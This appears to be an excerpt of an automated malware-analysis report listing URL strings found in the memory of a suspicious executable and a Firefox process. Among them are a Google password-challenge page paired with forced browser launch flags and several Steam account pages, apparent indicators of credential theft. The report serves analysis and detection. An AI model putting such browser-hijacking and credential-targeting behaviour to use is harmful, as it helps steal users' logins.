Source: firefox.exe, 0000001B.00000002.2479697799.000001BAB718F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2405182048.000001BAAC046000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2478214034.000001BAB707F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 0000001B.00000002.2472639943.000001BAB256F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/
Source: firefox.exe, 0000001B.00000002.2459823995.000001BAB1625000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.2405182048.000001BAAC046000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2443474661.000001BAAFD85000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2478214034.000001BAB7067000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2450549192.000001BAB081B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2437154355.000001BAAF91A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000001B.00000002.2496157306.000001BAB7704000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.2437154355.000001BAAF972000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2432375917.000001BAAF7A0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2437154355.000001BAAF91A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000001B.00000002.2496157306.000001BAB7704000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.2437154355.000001BAAF972000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2485314442.000001BAB7493000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2437154355.000001BAAF91A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 0000001B.00000002.2444183628.000001BAAFE00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListenerFailed
Source: firefox.exe, 0000001B.00000002.2444183628.000001BAAFE00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListenerThe
Source: firefox.exe, 0000001B.00000002.2390476248.000001BA9F003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/stringsp
Source: firefox.exe, 0000001B.00000002.2503584538.00001A2F74700000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.o
Source: firefox.exe, 0000001B.00000002.2503584538.00001A2F74700000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.o8xB
Source: firefox.exe, 0000001B.00000002.2503584538.00001A2F74700000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2370590701.0000002C109D8000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2504887224.00002B1706A00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2441868523.000001BAAFCE7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2367695365.0000000388C04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2450549192.000001BAB0866000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/additionalProperties
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/boolean
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/value/ad
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/featureI
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value/ad
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/count
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/start
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/total
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/endDate
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/enrollmentEndDate
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isEnrollmentPaused
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items/properties/slug
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pocketFeatureGate
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pocketShowLessFrequentlyCap
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/proposedDuration%
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/proposedDuration%2528not%2Bset%2529
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/proposedEnrollment
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestBlockingEnabled
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestEnabled
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestNonSponsoredEnabled
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestNonSponsoredIndex
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestRemoteSettingsEnabled
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestScenario
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestScoreMap
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestShouldShowOnboardingDialog
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestShowOnboardingDialogAfterNRestarts
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestSponsoredEnabled
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestSponsoredIndex
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/recordNavigationalSuggestionTelemetry
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/referenceBranch
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showExposureResults
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showSearchTermsFeatureGate
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherFeatureGate
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywordsMinimumLength
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywordsMinimumLengthCap
Source: firefox.exe, 0000001B.00000003.2260813134.000001BAB7282000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2264104949.000001BAB71D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2266534069.000001BAB0CA4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2423403188.000001BAAEB06000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2467630330.000001BAB18DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2470374731.000001BAB223D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2454797745.000001BAB0F32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2481037928.000001BAB724E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2481037928.000001BAB7282000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2467630330.000001BAB186D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2232639765.000001BAAF0EA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2216510436.000001BAAF0E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2215416194.000001BAAF0E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2255945706.000001BAB73C2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2458125549.000001BAB15BB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2467630330.000001BAB1850000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2397402712.000001BAAA9C0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2430146680.000001BAAF1D9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2470374731.000001BAB2225000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2444333151.000001BAAFF8D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2483543981.000001BAB73D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: firefox.exe, 0000001B.00000002.2503584538.00001A2F74700000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/Z
Source: firefox.exe, 0000001B.00000002.2503584538.00001A2F74700000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/c
Source: firefox.exe, 0000001B.00000002.2503584538.00001A2F74700000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/t/
Source: firefox.exe, 0000001B.00000002.2503584538.00001A2F74700000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.oxxB
Source: file.exe, 00000000.00000003.1589928727.0000000005B52000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2133412796.00000000056DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2448288655.000001BAB06E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2267172030.000001BAB06E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.1589928727.0000000005B52000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2133412796.00000000056DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2448288655.000001BAB06E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2267172030.000001BAB06E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 0000001B.00000002.2481037928.000001BAB7275000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0.
Source: firefox.exe, 0000001B.00000003.2260813134.000001BAB7275000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2481037928.000001BAB7275000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2472207824.000001BAB2303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0W
Source: firefox.exe, 0000001B.00000003.2260813134.000001BAB7275000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2481037928.000001BAB7275000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2472207824.000001BAB2303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009C9000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009C9000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009C9000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: firefox.exe, 0000001B.00000002.2472207824.000001BAB23B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updatex
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2496157306.000001BAB7779000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2006/browser/search/
Source: firefox.exe, 0000001B.00000002.2420769277.000001BAAE84D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB224000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2453306949.000001BAB0CE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2481037928.000001BAB7271000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2481037928.000001BAB7223000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB2E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2454797745.000001BAB0F46000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2432375917.000001BAAF7E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2458125549.000001BAB150F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB279000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2397402712.000001BAAA9C0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2426918174.000001BAAEE8D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2427901505.000001BAAEF6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2427901505.000001BAAEF03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB2AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2265079699.000001BAB0F68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2426918174.000001BAAEED3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB246000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB2A5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2454797745.000001BAB0F10000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2456845635.000001BAB1459000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2313867886.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: file.exe, 00000000.00000003.1589928727.0000000005B52000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2133412796.00000000056DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2260813134.000001BAB7275000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2448288655.000001BAB06E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2481037928.000001BAB7275000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2267172030.000001BAB06E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.1589928727.0000000005B52000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2133412796.00000000056DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2260813134.000001BAB7275000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2448288655.000001BAB06E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2481037928.000001BAB7275000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2267172030.000001BAB06E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 0000001B.00000002.2481037928.000001BAB7223000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2200219175.000001BAAE900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2203752938.000001BAAEB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2202906065.000001BAAEB3A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB279000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2419808872.000001BAAE670000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: file.exe, 00000000.00000003.1558125060.0000000005B69000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2102085327.0000000005604000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2102742063.0000000005601000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2102196722.0000000005601000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000001B.00000002.2470374731.000001BAB224F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.c
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.2405182048.000001BAAC07C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD56F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2450549192.000001BAB081B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 0000001B.00000002.2472639943.000001BAB25E5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2441868523.000001BAAFCBE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2472639943.000001BAB25A7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2470374731.000001BAB22D9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2448956434.000001BAB0717000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001B.00000002.2392121489.000001BAA08A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser-check--disable-popup-blockin
Source: firefox.exe, 0000001B.00000002.2390476248.000001BA9F003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2405182048.000001BAAC046000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2450549192.000001BAB0866000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
